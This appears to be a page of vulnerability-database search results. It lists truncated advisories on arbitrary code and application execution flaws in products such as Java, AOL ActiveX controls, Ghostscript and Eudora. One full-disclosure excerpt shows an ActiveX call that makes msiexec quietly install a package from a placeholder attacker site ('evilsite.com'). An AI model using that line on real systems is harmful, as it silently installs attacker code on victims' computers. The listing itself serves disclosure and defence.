65 matches found
PT-2017-04
Name of the Vulnerable Software and Affected Versions Kaspersky Embedded Systems Security affected versions not specified Description The issue is caused by incorrect operation of protection mechanisms under excessive service load. An attacker can exploit this to elevate their privileges and run ...
Interactive Studio GamePort 3.0/3.1/4.0 Arbitrary application execution
No description provided by source. source: http://www.securityfocus.com/bid/12006/info Gameport is reported prone to multiple vulnerabilities in the client and server. These issues may allow an attacker to gain unauthorized access to a vulnerable server and execute arbitrary code on a vulnerable...
CVE-2013-5168: Improper Input Validation
Console in Apple Mac OS X before 10.9 allows user-assisted remote attackers to execute arbitrary applications by triggering a log entry with a crafted attached URL...
Self-extracting archive (SFX) as Creative Virus Handler
Self-extracting archive SFX as Creative Virus Handler Yesterday I Found and interesting article about "Self-extracting archive SFX" on Unremote.org by DarkCoderSc. SFX is a little application that contains compressed files. Creating a customized WinRAR SFX archives is a very easy task, but not al...
ghostscript code execution
Application is executed by relative path upon .ps file parsing...
SILC Toolkit 'command.c'格式串漏洞
Bugraq ID: 36193 SILC Toolkit是一款提供SILC协议实现的软件开发工具集。 SILC Toolkit 'command.c'文件存在格式串错误，远程攻击者可以利用漏洞以应用程序权限执行任意指令。 目前没有详细漏洞细节提供。 SILC Toolkit 1.1.8 SILC Toolkit 1.1.6 SILC Toolkit 1.1.5 SILC Toolkit 1.1.4 SILC Toolkit 1.1.3 SILC Toolkit 1.1.2 SILC Toolkit 1.1.1 SILC Toolkit 1.1 厂商解决方案 用户可联系供应商升级到SIL...
Dns2tcp 'dns_decode.c'远程缓冲区溢出漏洞
BUGTRAQ ID: 32071 CNCAN ID：CNCAN-2008110402 Dns2tcp是在DNS报文中分装TCP会话的一套工具。 Dns2tcp 'dnsdecode.c'存在缓冲区溢出，远程攻击者可以利用漏洞以应用程序权限执行任意指令。 目前没有详细漏洞细节提供。 Herve Schauer Consultants HSC Dns2tcp 0.4.1 Herve Schauer Consultants HSC Dns2tcp 0.4 Herve Schauer Consultants HSC Dns2tcp 0.4 Herve Schauer Consultants H...
Adobe Presenter viewer.swf and loadflash.js XSS Vulnerability
The host is running Adobe Presenter, which prone to to input validation errors which can be exploited by malicious people to conduct cross-site scripting vulnerability. OpenVAS Vulnerability Test $Id: secpodadobepresenterxssvuln900110.nasl 5370 2017-02-20 15:24:26Z cfi $ Description: Adobe...
Java Plugin same-origin-policy bypass
Unspecified vulnerability in the Java Plug-in for Sun JDK and JRE 6 Update 4 and earlier, and 5.0 Update 14 and earlier; and SDK and JRE 1.4.216 and earlier, and 1.3.121 and earlier; allows remote attackers to bypass the same origin policy and "execute local applications" via unknown vectors...
Re: [Full-disclosure] Gateway WebLaunch ActiveX Control Insecure Method
I was playing with this a bit more. Everybody has the Windows Installer installed, right? How about this: obj.DoWebLaunch"","........windowssystem32msiexec.exe", "","/i http://www.evilsite.com/evilapp.msi /quiet"; Elazar On Tue, 08 Jan 2008 20:08:53 -0500 [email protected] wrote: The DoWebLaunc...
Windows平台下的Symantec Backup Exec存在未明远程漏洞
BUGTRAQ ID: 26837 CNCAN ID:CNCAN-2007121405 Symantec Backup Exec是一款集中式管理功能的网络数据保护解决方案。 Window平台下的Symantec Backup Exec存在未明安全问题，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 目前没有详细漏洞细节提供。 Symantec Backup Exec for Windows Servers 11d 目前没有详细解决方案提供： http://www.symantec.com/backupexec/index.jsp...
zabbix privilege escalation
Super-user privileges are not droppen on user-supplied application execution...
QEMU virtual machine buffer overflow
Buffer overflow in TranslationBlock on application execution in Guest OS...
AOL CDDBControl ActiveX控件缓冲区溢出漏洞
AOL是一款流行的即时通信软件。 AOL Client Software处理"CDDBControlAOL.CDDBAOLControl" ActiveX控件存在问题，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 当"CDDBControlAOL.CDDBAOLControl" ActiveX控件cddbcontrol.dll处理传递个"SetClientInfo"函数方法的"ClientId"参数时缺少正确的边界错误，提交超长字符串可发生基于堆栈的缓冲区溢出，精心构建参数数据可导致以应用程序进程权限执行任意指令。 AOL Client Software 9.0 Securit...
AIX mklvcopy vulnerability
Insecure external application execution by relative path...
Sun Java JRE sandbox protection bypass
Few vulnerabilities allow applets to write local files and execute applications...
CVE-2005-3905: Undefined Security Weakness
Unspecified vulnerability in reflection APIs in Java SDK and JRE 1.3.115 and earlier, 1.4.208 and earlier, and JDK and JRE 5.0 Update 3 and earlier allows remote attackers to escape the Java sandbox and access arbitrary files or execute arbitrary application via unknown attack vectors, a differen...
J2EE code execution
It's possible to execute external application in SQL request to pointbase database...
Re: Eudora 5.2.1 attachment spoof
Building on my Eudora attachment spoof http://www.securityfocus.com/archive/1/322286 I have now found better games to play: From: me To: you Ensure victim has both attachments 'calc' and 'calc.exe' sent in this, or previous, email. Then the following shows 'windows' icon and runs calc.exe without...